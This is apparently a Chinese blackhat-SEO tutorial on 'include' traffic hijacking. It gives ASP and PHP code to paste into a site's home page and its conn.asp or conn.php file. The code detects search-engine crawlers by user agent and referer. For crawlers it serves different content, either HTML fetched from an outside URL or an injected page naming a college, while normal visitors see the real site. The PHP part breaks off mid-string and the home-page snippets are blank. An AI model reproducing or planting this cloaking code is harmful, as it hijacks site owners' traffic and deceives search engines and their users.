seo黑帽劫持用的php,黑帽seo技术：include asp php流量劫持

首先，很简单，在首页加上以下代码：

[quote]asp版

php版

[/quote]

然后根据网站的程序在conn文件中加入以下代码，如果没有conn.asp或者conn.php，请自行创建：

[quote]conn.asp版

-----------以下复制--------------------------------

function isspider()

dim agent,searray,i

agent="agent:"&LCase(request.servervariables("http_user_agent"))

searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")

isspider= false

for i=0 to ubound(searray)

if (instr(agent,searray(i))>0) then isspider=true

next

end function

function fromse()

dim urlrefer,i,searray

urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))

fromse= false

if urlrefer="" then fromse= false

searray=array("google","baidu","sogou","yahoo","soso","360")

for i=0 to ubound(searray)

if (instr(urlrefer,searray(i))>0) then fromse=true

next

end function

function gethttp(url)

dim http

set http=createobject("MSXML2.XMLHTTP")

Http.open "GET",url,false

Http.send()

if Http.readystate<>4 then

exit function

end if

gethttp=bytes2BSTR(Http.responseBody)

set http=nothing

if err.number<>0 then err.Clear

end function

function bytes2BSTR(vIn)

dim strReturn

dim i,ThisCharCode,NextCharCode

strReturn = ""

For i = 1 To LenB(vIn)

ThisCharCode = AscB(MidB(vIn,i,1))

If ThisCharCode < &H80 Then

strReturn = strReturn & Chr(ThisCharCode)

Else

NextCharCode = AscB(MidB(vIn,i+1,1))

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

i = i + 1

End If

Next

bytes2BSTR = strReturn

End function

if(isspider()) then

dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml

bodyurl="http://www.itsvse.com" //快照网址

response.clear

remotehtml=gethttp(bodyurl)

response.write(remotehtml)

response.write("")

response.flush

response.end

end if

%>

[/quote]

[quote]conn.php

----------------以下复制----------------

function is_search_bot(){

$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);

$identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');

foreach ($identify AS $key => $tag){

if (strstr($user_agent, $tag)){

return true;

}

}

return false;}

function is_urlbaidu()

{

$come_from="baidu@sogou@soso@iask@naver";

$referer = explode("@",$come_from);

foreach($referer as $url){

if (stristr($_SERVER['HTTP_REFERER'],$url)){

return true;

}

}

return false;}

if (is_search_bot())

{

$html = "

武汉软件工程职业学院

\"Description\" content=\"描述\">

内容